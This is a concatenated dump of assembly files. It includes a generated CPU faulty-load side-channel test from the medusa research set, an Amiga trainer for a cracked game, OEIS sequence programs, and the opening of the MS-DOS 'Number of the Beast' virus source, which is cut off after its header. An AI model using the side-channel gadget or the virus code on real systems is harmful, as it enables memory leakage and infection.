<< 3) prefetch_resw_pre 0xF2, (2 << 3) prefetch_resw_pre 0xF2, (3 << 3) prefetch_resw_pre 0xF2, (4 << 3) prefetch_resw_pre 0xF2, (5 << 3) prefetch_resw_pre 0xF2, (6 << 3) prefetch_resw_pre 0xF2, (7 << 3) prefetch_resw_pre 0xF3, (0 << 3) prefetch_resw_pre 0xF3, (1 << 3) prefetch_resw_pre 0xF3, (2 << 3) prefetch_resw_pre 0xF3, (3 << 3) prefetch_resw_pre 0xF3, (4 << 3) prefetch_resw_pre 0xF3, (5 << 3) prefetch_resw_pre 0xF3, (6 << 3) prefetch_resw_pre 0xF3, (7 << 3) hlt
19.697368
32
0.690047
c34d9d35299ded7c244f8584368b36452fd3d9dc
52
asm
Assembly
code/src/oam.asm
sttng/merken-revision-2020
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
[ "MIT" ]
31
2020-04-14T02:16:23.000Z
2022-01-12T19:55:18.000Z
code/src/oam.asm
sttng/merken-revision-2020
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
[ "MIT" ]
null
null
null
code/src/oam.asm
sttng/merken-revision-2020
c58ead89f9e00d5aa0ed306a1b1b750635bac6a6
[ "MIT" ]
2
2021-05-14T10:28:00.000Z
2021-12-05T01:40:59.000Z
section "ShadowOAM", WRAM0[$C100] ShadowOAM: ds $100
26
33
0.75
79edc896f36ab1c3628ced9d58e6b28caced9ccc
7,602
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_209.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1d727, %r15 nop nop nop nop add %r11, %r11 movw $0x6162, (%r15) sub $46448, %r10 lea addresses_A_ht+0xd405, %rcx nop add $50272, %r13 movb $0x61, (%rcx) nop nop nop nop sub %rdx, %rdx lea addresses_UC_ht+0x1596f, %rsi lea addresses_A_ht+0x131cb, %rdi clflush (%rsi) nop nop and $61000, %r15 mov $98, %rcx rep movsq nop nop nop nop xor %rdx, %rdx lea addresses_WT_ht+0x13e9f, %rdx nop add $3014, %rdi mov (%rdx), %r10d nop nop nop xor $42167, %r15 lea addresses_normal_ht+0x7427, %rsi lea addresses_UC_ht+0xd347, %rdi nop nop nop nop sub %r13, %r13 mov $1, %rcx rep movsb sub $38499, %r11 lea addresses_UC_ht+0x15197, %rsi nop nop dec %rdx mov $0x6162636465666768, %r15 movq %r15, %xmm0 vmovups %ymm0, (%rsi) cmp %r10, %r10 lea addresses_D_ht+0x7b73, %rsi lea addresses_WC_ht+0x23a7, %rdi nop nop nop nop nop add %r15, %r15 mov $36, %rcx rep movsb nop nop nop nop xor %r15, %r15 lea addresses_UC_ht+0x6acf, %rdx nop nop nop add %rcx, %rcx mov (%rdx), %di nop nop nop nop sub $4825, %r13 lea addresses_WT_ht+0x1d867, %rsi lea addresses_WT_ht+0x12727, %rdi nop nop nop nop nop sub $15568, %rdx mov $102, %rcx rep movsl nop nop xor %r15, %r15 lea addresses_WT_ht+0x19467, %rsi lea addresses_UC_ht+0x62e7, %rdi nop add %r10, %r10 mov $42, %rcx rep movsb nop nop nop nop nop sub $29688, %r13 lea addresses_UC_ht+0x1df27, %rsi nop nop nop nop nop add $22934, %rdi movb $0x61, (%rsi) nop xor $49669, %rdi lea addresses_WT_ht+0x15155, %rsi lea addresses_UC_ht+0x45a7, %rdi clflush (%rsi) nop nop nop nop nop sub $55080, %r10 mov $97, %rcx rep movsb nop nop nop dec %r11 lea addresses_WC_ht+0x1c5f4, %r13 nop and $15733, %rcx movb (%r13), %r15b nop nop nop nop nop add $49470, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rax push %rbx push %rsi // Store lea addresses_UC+0x12ac7, %r8 nop nop nop nop nop and $53453, %r14 mov $0x5152535455565758, %rsi movq %rsi, %xmm3 movups %xmm3, (%r8) nop nop sub $5769, %r9 // Faulty Load lea addresses_RW+0x15b27, %rbx dec %r13 mov (%rbx), %r9d lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rbx pop %rax pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
33.196507
2,999
0.658642
d6161e639486eedcaf9687c13ce2749346a6875d
12,823
asm
Assembly
samples/cracks/nzs/trainer.asm
paulhagstrom/Disk-Utilities
a4b32e13a2900d4be3814a552a9f4507840c238c
[ "Unlicense" ]
1
2019-09-30T11:23:20.000Z
2019-09-30T11:23:20.000Z
samples/cracks/nzs/trainer.asm
paulhagstrom/Disk-Utilities
a4b32e13a2900d4be3814a552a9f4507840c238c
[ "Unlicense" ]
null
null
null
samples/cracks/nzs/trainer.asm
paulhagstrom/Disk-Utilities
a4b32e13a2900d4be3814a552a9f4507840c238c
[ "Unlicense" ]
null
null
null
xres equ 640 yres equ 169 bplsz equ (yres*xres/8) planes equ 2 xstart equ 110 ystart equ 20 yperline equ 10 bss equ $20000 gfx equ bss + size trainer: ; a4=bss; a5=ciaa; a6=custom (set up on entry) lea (bss).l,a4 lea.l ($bfe001).l,a5 ; Set up CIAA ICR. We only care about keyboard/ move.b #$7f,$d00(a5) ; enable only keyboard data rx'ed move.b #$88,$d00(a5) ; interrupt from CIAA move.w #$8040,$96(a6) ; enable blitter DMA bsr init_bss_and_copper bsr clear_screen bsr clear_colors bsr unpack_font lea CIA_IRQ(pc),a0 move.l a0,($68).w ; level 2 interrupt (CIA) lea.l copper(pc),a0 move.l a0,$80(a6) ; cop1lc bsr print_screen bsr setup_options ; At end of screen display, turn everything on bsr wait_bos move.w #$81c0,$96(a6) ; enable copper/bitplane/blitter DMA move.w #$8008,$9a(a6) ; enable CIA-A interrupts ; Event loop: check for keys, buttons, etc. Act on them .wait: bsr wait_bos moveq #0,d0 move.b key(a4),d0 beq .nokey bmi .nokey clr.b key(a4) cmp.b #$40,d0 ; SPACE? Then exit beq .exit sub.b #$50,d0 bsr update_option .nokey: move.b (a5),d0 and.b #$c0,d0 cmp.b #$c0,d0 beq .wait ; Tear down .exit: bsr waitblit ; blitter idle bsr wait_bos ; screen drawn for the last time move.w #$01c0,$96(a6) move.w #$0008,$9a(a6) ; knock it on the head bsr clear_colors ; black screen ; Marshal selected trainer options into d0.l lea.l options(a4),a0 moveq #0,d0 .opts: move.l (a0)+,d1 beq .done move.l d1,a1 move.b (a1),d1 lsr.b #4,d1 lsl.l #4,d0 or.b d1,d0 bra .opts .done: rts init_bss_and_copper: move.l a4,a0 move.w #size/4,d0 .clr: clr.l (a0)+ dbf d0,.clr lea.l copper(pc),a1 .srch: cmp.w #$00e0,(a1)+ bne .srch move.l #gfx,d0 move.l d0,bpl0(a4) move.w d0,4+0(a1) swap d0 move.w d0,0+0(a1) move.l #gfx+bplsz,d0 move.l d0,bpl1(a4) move.w d0,4+8(a1) swap d0 move.w d0,0+8(a1) move.l #gfx+2*bplsz,d0 move.l d0,font(a4) rts clear_colors: lea $180(a6),a0 moveq #0,d0 moveq #15,d1 .clr: move.l d0,(a0)+ dbf d1,.clr rts ; d0 = option # update_option: tst.b d0 bmi .done cmp.b #10,d0 bpl .done move.w d0,d1 lsl.w #2,d1 move.l options(a4,d1.w),d1 beq .done move.l d1,a0 move.b (a0),d1 and.b #3,d1 cmp.b #1,d1 beq .range .bool: eor.b #$10,(a0) bra .print .range: move.b (a0),d1 lsr.b #4,d1 addq #1,d1 move.b 1(a0),d2 lsr.b #4,d2 cmp.b d2,d1 bmi .ok beq .ok move.b 1(a0),d1 .ok: lsl.b #4,d1 or.b #1,d1 move.b d1,(a0) .print: bsr print_option .done: rts ; d0 = line # ; all regs prserved clear_line: movem.l d0/a0,-(sp) mulu.w #yperline,d0 add.w #ystart,d0 mulu.w #xres/8,d0 move.l bpl0(a4),a0 adda.w d0,a0 bsr waitblit move.l #$01000000,$40(a6) ; bltcon0/bltcon1 move.l a0,$54(a6) ; bltdpt move.w #0,$66(a6) ; bltdmod move.w #(xres/16)|(yperline<<6),$58(a6) move.l bpl1(a4),a0 adda.w d0,a0 bsr waitblit move.l a0,$54(a6) ; bltdpt move.w #(xres/16)|(yperline<<6),$58(a6) movem.l (sp)+,d0/a0 rts clear_screen: bsr waitblit move.l #$01000000,$40(a6) ; bltcon0/bltcon1 move.l bpl0(a4),a0 move.l a0,$54(a6) ; bltdpt move.w #0,$66(a6) ; bltdmod move.w #(xres/16)|((yres*planes)<<6),$58(a6) bra waitblit ; Unpack 8*8 font into destination ; Each char 00..7f is copied in sequence ; Destination is 10 longwords (= 10 rows) per character ; First word of each long is foreground, second word is background ; Background is computed from foreground unpack_font: lea.l packfont(pc),a0 move.l font(a4),a1 move.l a1,a2 move.w #$20*yperline-1,d0 .clr: clr.l (a1)+ ; first $20 chars are blank dbf d0,.clr moveq #$60-1,d0 .lop1: clr.l (a1)+ ; first row of foreground is blank moveq #yperline-3,d1 .lop2: moveq #0,d2 move.b (a0)+,d2 lsl.w #7,d2 ; foreground character is shifted right swap d2 ; one place from leftmost move.l d2,(a1)+ dbf d1,.lop2 clr.l (a1)+ ; last row of foreground is blank dbf d0,.lop1 move.l a2,a1 moveq #$80-1,d0 .lop3: move.w (a1)+,d2 or.w 2(a1),d2 shift_lr MACRO move.w d2,d3 add.w d3,d3 or.w d2,d3 lsr.w #1,d2 or.w d3,d2 move.w d2,(a1)+ ENDM shift_lr moveq #yperline-3,d1 .lop4: move.w -4(a1),d2 or.w (a1)+,d2 or.w 2(a1),d2 shift_lr dbf d1,.lop4 move.w -4(a1),d2 or.w (a1)+,d2 shift_lr dbf d0,.lop3 rts print_screen: lea.l str(pc),a3 .lop: tst.b (a3) bmi .done bsr print_line bra .lop .done: rts setup_options: lea.l opts(pc),a0 lea.l options(a4),a1 moveq #0,d0 .lop: move.l a0,(a1)+ move.b (a0),d1 bmi .done bsr print_option addq #1,d0 bra .lop .done: clr.l -4(a1) rts ; a0 = option (updated at end to point past end of option) ; d0 = option # ; all regs preserved opt_col1 equ 8 opt_row1 equ 5 opt_confcol equ 37 print_option: movem.l d0-d3/a3,-(sp) lea.l string(a4),a3 move.b (a0)+,d2 move.b (a0)+,d3 move.b #opt_col1,(a3)+ move.b d0,d1 add.b #opt_row1,d0 move.b d0,(a3)+ bsr clear_line move.b #'F',(a3)+ add.b #'1',d1 move.b d1,(a3)+ move.b #' ',(a3)+ move.b #'-',(a3)+ move.b #' ',(a3)+ moveq #opt_confcol-13,d0 .l1: subq.l #1,d0 move.b (a0)+,(a3)+ bne .l1 sub.w #1,a3 .l2: move.b #'.',(a3)+ dbf d0,.l2 move.b d2,d3 and.b #3,d3 cmp.b #1,d3 beq .range .bool: move.b #'O',(a3)+ and.b #$10,d2 bne .bon move.b #'F',(a3)+ move.b #'F',(a3)+ bra .done .bon: move.b #'N',(a3)+ move.b #' ',(a3)+ bra .done .range: move.b #' ',(a3)+ lsr.b #4,d2 cmp.b #10,d2 bmi .onedig move.b #'1',-1(a3) sub.b #10,d2 .onedig:add.b #'0',d2 move.b d2,(a3)+ .done: move.b #0,(a3) lea.l string(a4),a3 bsr print_line movem.l (sp)+,d0-d3/a3 rts ; a3 = string (points at string end on exit) ; all other registers preserved print_line: movem.l d0-d1/a0-a1,-(sp) moveq #0,d0 move.b (a3)+,d0 lsl.w #3,d0 add.w #xstart,d0 moveq #0,d1 move.b (a3)+,d1 mulu.w #yperline,d1 add.w #ystart,d1 .lop: move.b (a3)+,d2 beq .done bsr print_char add.w #8,d0 bra .lop .done: movem.l (sp)+,d0-d1/a0-a1 rts ; d0.w = x; d1.w = y; d2.w = char ; a0-a1 trashed print_char: movem.l d0-d2,-(sp) and.w #$7f,d2 mulu.w #yperline*4,d2 addq #2,d2 move.l font(a4),a0 adda.w d2,a0 ; a0 = points to correct font char mulu.w #xres/8,d1 move.w d0,d2 lsr.w #4,d2 add.w d2,d1 add.w d2,d1 move.l bpl0(a4),a1 adda.w d1,a1 ; a1 = points to correct first dest word moveq #0,d2 move.b d0,d2 and.b #15,d2 ror.w #4,d2 or.w #$0dfc,d2 ; ABD DMA, D=A|B swap d2 bsr waitblit move.l d2,$40(a6) ; bltcon0 (D=A|B) / bltcon1 move.l #(xres/8)-4,$60(a6); bltcmod/bltbmod move.l #(xres/8)-4,$64(a6); bltamod/bltdmod move.l #$ffff0000,$44(a6) ; bltafwm/bltalwm moveq #1,d0 .lop: bsr waitblit move.l a0,$50(a6) ; bltapt move.l a1,$4c(a6) ; bltbpt move.l a1,$54(a6) ; bltdpt move.w #2|(yperline<<6),$58(a6) ; bltsize = 2 words * yperline rows suba.w #2,a0 move.l bpl1(a4),a1 adda.w d1,a1 dbf d0,.lop movem.l (sp)+,d0-d2 rts wait_bos: cmp.b #$f0,6(a6) ; wait for end of bitplane DMA bne wait_bos rts waitblit: btst.b #6,2(a6) .wait: btst.b #6,2(a6) ; wait for idle blitter bne .wait rts wait_line: move.b $6(a6),d0 .wait: cmp.b $6(a6),d0 beq .wait rts CIA_IRQ: movem.l d0-d1/a0,-(sp) move.b $d00(a5),d0 btst #3,d0 ; ciaa.icr - SDR finished a byte? beq .done move.b $c00(a5),d1 ; grab the keyboard byte if so bset.b #6,$e00(a5) ; start the handshake not.b d1 ror.b #1,d1 move.b d1,key(a4) ; fix up and save the key code bsr wait_line bsr wait_line ; wait ~100us bclr.b #6,$e00(a5) ; finish the handshake .done: movem.l (sp)+,d0-d1/a0 ; NB. Clear intreq.ciaa *after* reading/clearing ciaa.icr else we ; get a spurious extra interrupt, since intreq.ciaa latches the level ; of CIAA INT and hence would simply become set again immediately ; after we clear it. For this same reason (latches level not edge) it ; is *not* racey to clear intreq.ciaa second. Indeed AmigaOS does the ; same (checked Kickstart 3.1). move.w #$0008,$9c(a6) rte copper: dc.l $008e4681 ; diwstrt.v = $46 dc.l $0090efc1 ; diwstop.v = $ef (169 lines) dc.l $0092003c ; ddfstrt dc.l $009400d4 ; ddfstop dc.l $0100a200 ; bplcon0 dc.l $01020000 ; bplcon1 dc.l $01040000 ; bplcon2 dc.l $01080000 ; bpl1mod dc.l $010a0000 ; bpl2mod dc.l $00e00000 ; bpl1pth dc.l $00e20000 ; bpl1ptl dc.l $00e40000 ; bpl2pth dc.l $00e60000 ; bpl2ptl dc.l $01820222 ; col01 dc.l $01840ddd ; col02 dc.l $01860ddd ; col03 dc.l $01800103 ; col00 dc.l $4401fffe dc.l $01800ddd dc.l $4501fffe dc.l $01800402 dc.l $f001fffe dc.l $01800ddd dc.l $f101fffe dc.l $01800103 dc.l $fffffffe packfont: incbin "FONT2_8X8.BIN" str: dc.b 13, 0, "=====================\0" dc.b 11, 1, "+ THE NEW ZEALAND STORY +\0" dc.b 13, 2, "=====================\0" dc.b 6, 3, "Cracked & Trained by KAF in June '11\0" dc.b 0,10,"Space, Mouse button, or Joystick Fire to Continue!\0" dc.b $ff RANGE_OPT MACRO dc.b 1|(\1<<4),\2|(\3<<4) ENDM BOOL_OPT MACRO dc.b 2|(\1<<4),0 ENDM opts: BOOL_OPT 0 dc.b "Infinite Lives\0" RANGE_OPT 3,1,10 dc.b "Initial Lives\0" BOOL_OPT 0 dc.b "Load/Save Highscores\0" BOOL_OPT 0 dc.b "Reset Saved Highscores\0" dc.b $ff rsreset key rs.b 1 pad rs.b 1 bpl0 rs.l 1 bpl1 rs.l 1 font rs.l 1 options rs.l 10 string rs.b 80 size rs.b 0
28.059081
77
0.457147
a8cf92b7d0b9803e09a0fbf34a2aff2e6210ce76
666
asm
Assembly
oeis/158/A158532.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158532.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158532.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158532: a(n) = Hermite(n,9). ; Submitted by Jon Maiga ; 1,18,322,5724,101100,1774008,30921144,535292496,9202368912,157077960480,2661760648224,44770132458432,747303649990848,12376982520832896,203355790475230080,3313848717970820352,53548603209217863936,857831698790855299584,13620318069121988018688,214283784087724993551360,3339536026952414339214336,51540297121634458363803648,787464835057418848301463552,11906593957681623101418983424,178095308825627948803674378240,2634199048892585169598027603968,38510817438785135612580777959424 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $2,18 mul $3,-1 mul $3,$0 mul $3,2 lpe mov $0,$1
37
474
0.81982
319b1f6fcd775a9f44a20270eb3f51985811ee36
787
asm
Assembly
programs/oeis/005/A005131.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/005/A005131.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/005/A005131.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A005131: A generalized continued fraction for Euler's number e. ; 1,0,1,1,2,1,1,4,1,1,6,1,1,8,1,1,10,1,1,12,1,1,14,1,1,16,1,1,18,1,1,20,1,1,22,1,1,24,1,1,26,1,1,28,1,1,30,1,1,32,1,1,34,1,1,36,1,1,38,1,1,40,1,1,42,1,1,44,1,1,46,1,1,48,1,1,50,1,1,52,1,1,54,1,1,56,1,1,58,1,1,60,1,1,62,1,1,64,1,1,66,1,1,68,1,1,70,1,1,72,1,1,74,1,1,76,1,1,78,1,1,80,1,1,82,1,1,84,1,1,86,1,1,88,1,1,90,1,1,92,1,1,94,1,1,96,1,1,98,1,1,100,1,1,102,1,1,104,1,1,106,1,1,108,1,1,110,1,1,112,1,1,114,1,1,116,1,1,118,1,1,120,1,1,122,1,1,124,1,1,126,1,1,128,1,1,130,1,1,132,1,1,134,1,1,136,1,1,138,1,1,140,1,1,142,1,1,144,1,1,146,1,1,148,1,1,150,1,1,152,1,1,154,1,1,156,1,1,158,1,1,160,1,1,162,1,1,164,1,1 sub $0,1 mov $1,$0 lpb $0,1 sub $0,3 sub $1,1 lpe add $1,1 lpb $0,1 div $0,2 mov $1,2 lpe sub $1,1
49.1875
612
0.595934
ee24819f109226941d58fdad6bd5ad8851653209
538
asm
Assembly
oeis/244/A244634.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/244/A244634.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/244/A244634.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A244634: 27*n^2. ; 0,27,108,243,432,675,972,1323,1728,2187,2700,3267,3888,4563,5292,6075,6912,7803,8748,9747,10800,11907,13068,14283,15552,16875,18252,19683,21168,22707,24300,25947,27648,29403,31212,33075,34992,36963,38988,41067,43200,45387,47628,49923,52272,54675,57132,59643,62208,64827,67500,70227,73008,75843,78732,81675,84672,87723,90828,93987,97200,100467,103788,107163,110592,114075,117612,121203,124848,128547,132300,136107,139968,143883,147852,151875,155952,160083,164268,168507,172800,177147,181548,186003 pow $0,2 mul $0,27
89.666667
498
0.80855
4caeb28a389f88894393515c0753ceb03d2f15d9
371
asm
Assembly
oeis/049/A049740.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/049/A049740.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/049/A049740.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A049740: a(n)=T(n,n), array T as in A049735. ; Submitted by Jon Maiga ; 1,9,25,61,101,161,225,305,405,509,633,761,889,1069,1229,1425,1609,1813,2029,2253,2521,2769,3045,3317,3597,3937,4249,4581,4925,5273,5649,6025,6437,6845,7265,7705,8113,8597,9061,9569 pow $0,2 mul $0,2 seq $0,57655 ; The circle problem: number of points (x,y) in square lattice with x^2 + y^2 <= n.
46.375
182
0.71159
339b2d2204e3314619100a7761d22174628422c2
13,126
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.beast-b.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.beast-b.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.beast-b.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;******************************************************************************* ;* * ;* THE NUMBER OF THE BEAST VIRUS * ;* * ;* This is NOT a original virus, but a modification. Main difference * ;* between original virus is, that this release support ANY DOS version * ;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). * ;* * ;* Modification (C) were made by * ;* * ;* Kiril Stoimenov & Stephen Genchev * ;* * ;* Source was (C) commented by * ;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 * ;* * ;* All Rights Reserved. * ;* * ;******************************************************************************* ;* * ;* We don't care about any damages caused by compiling and runnig * ;* of this program. Use it only at your responsible ! * ;* * ;* If you find any mistakes or inaccurates in this source or comments, * ;* please, let us know. Drop message for Waleri Todorov on Virus eXchange * ;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 * ;* * ;* Waleri Todorov * ;* * ;******************************************************************************* org 0 mov ah,30h ; Get DOS version int 21h xchg ah,al ; Swap major and minor digit cmp ax,31Eh ; Is 